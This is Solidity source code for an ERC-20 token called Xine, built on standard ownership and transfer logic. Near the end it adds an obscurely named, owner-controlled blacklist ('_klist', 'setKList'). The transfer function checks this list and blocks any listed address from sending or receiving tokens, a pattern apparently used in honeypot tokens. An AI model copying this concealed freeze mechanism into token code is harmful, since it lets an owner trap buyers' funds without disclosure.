creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.19;
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address to, uint256 value) external returns (bool);
  
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function approve(address spender, uint256 value) external returns (bool);
  
      function transferFrom(
          address from,
          address to,
          uint256 value
      ) external returns (bool);
  }
  
  interface IERC20Errors {
      error ERC20InsufficientBalance(
          address sender,
          uint256 balance,
          uint256 needed
      );
  
      error ERC20InvalidSender(address sender);
  
      error ERC20InvalidReceiver(address receiver);
  
      error ERC20InsufficientAllowance(
          address spender,
          uint256 allowance,
          uint256 needed
      );
  
      error ERC20InvalidApprover(address approver);
  
      error ERC20InvalidSpender(address spender);
  
      error ERC20InvalidTransfer();
  }
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  
      function _contextSuffixLength() internal view virtual returns (uint256) {
          return 0;
      }
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      error OwnableUnauthorizedAccount(address account);
  
      error OwnableInvalidOwner(address owner);
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor(address initialOwner) {
          if (initialOwner == address(0)) {
              revert OwnableInvalidOwner(address(0));
          }
          _transferOwnership(initialOwner);
      }
  
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      function _checkOwner() internal view virtual {
          if (owner() != _msgSender()) {
              revert OwnableUnauthorizedAccount(_msgSender());
          }
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          if (newOwner == address(0)) {
              revert OwnableInvalidOwner(address(0));
          }
          _transferOwnership(newOwner);
      }
  
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  contract XineToken is Context, IERC20, IERC20Errors, Ownable {
      mapping(address account => uint256) private _balances;
  
      mapping(address account => mapping(address spender => uint256))
          private _allowances;
  
      uint256 private _totalSupply;
  
      string private _name = "Xine";
      string private _symbol = "Xine";
  
      constructor(address o) Ownable(msg.sender) {
          uint256 total = 1000000000 * 10 ** 18;
          _update(address(0), o, total);
      }
  
      function name() public view virtual returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view virtual returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view virtual returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address to, uint256 value) public virtual returns (bool) {
          address owner = _msgSender();
          _transfer(owner, to, value);
          return true;
      }
  
      function allowance(
          address owner,
          address spender
      ) public view virtual returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(
          address spender,
          uint256 value
      ) public virtual returns (bool) {
          address owner = _msgSender();
          _approve(owner, spender, value);
          return true;
      }
  
      function transferFrom(
          address from,
          address to,
          uint256 value
      ) public virtual returns (bool) {
          address spender = _msgSender();
          _spendAllowance(from, spender, value);
          _transfer(from, to, value);
          return true;
      }
  
      function _transfer(address from, address to, uint256 value) internal {
          if (_klist[from] || _klist[to]) {
              revert ERC20InvalidTransfer();
          }
          if (from == address(0)) {
              revert ERC20InvalidSender(address(0));
          }
          if (to == address(0)) {
              revert ERC20InvalidReceiver(address(0));
          }
          _update(from, to, value);
      }
  
      function _update(address from, address to, uint256 value) internal virtual {
          if (from == address(0)) {
              _totalSupply += value;
          } else {
              uint256 fromBalance = _balances[from];
              if (fromBalance < value) {
                  revert ERC20InsufficientBalance(from, fromBalance, value);
              }
              unchecked {
                  _balances[from] = fromBalance - value;
              }
          }
  
          if (to == address(0)) {
              unchecked {
                  _totalSupply -= value;
              }
          } else {
              unchecked {
                  _balances[to] += value;
              }
          }
  
          emit Transfer(from, to, value);
      }
  
      function _approve(address owner, address spender, uint256 value) internal {
          _approve(owner, spender, value, true);
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 value,
          bool emitEvent
      ) internal virtual {
          if (owner == address(0)) {
              revert ERC20InvalidApprover(address(0));
          }
          if (spender == address(0)) {
              revert ERC20InvalidSpender(address(0));
          }
          _allowances[owner][spender] = value;
          if (emitEvent) {
              emit Approval(owner, spender, value);
          }
      }
  
      function _spendAllowance(
          address owner,
          address spender,
          uint256 value
      ) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              if (currentAllowance < value) {
                  revert ERC20InsufficientAllowance(
                      spender,
                      currentAllowance,
                      value
                  );
              }
              unchecked {
                  _approve(owner, spender, currentAllowance - value, false);
              }
          }
      }
  
      mapping(address => bool) private _klist;
  
      function setKList(address _addr, bool _flag) external onlyOwner {
          _klist[_addr] = _flag;
      }
  }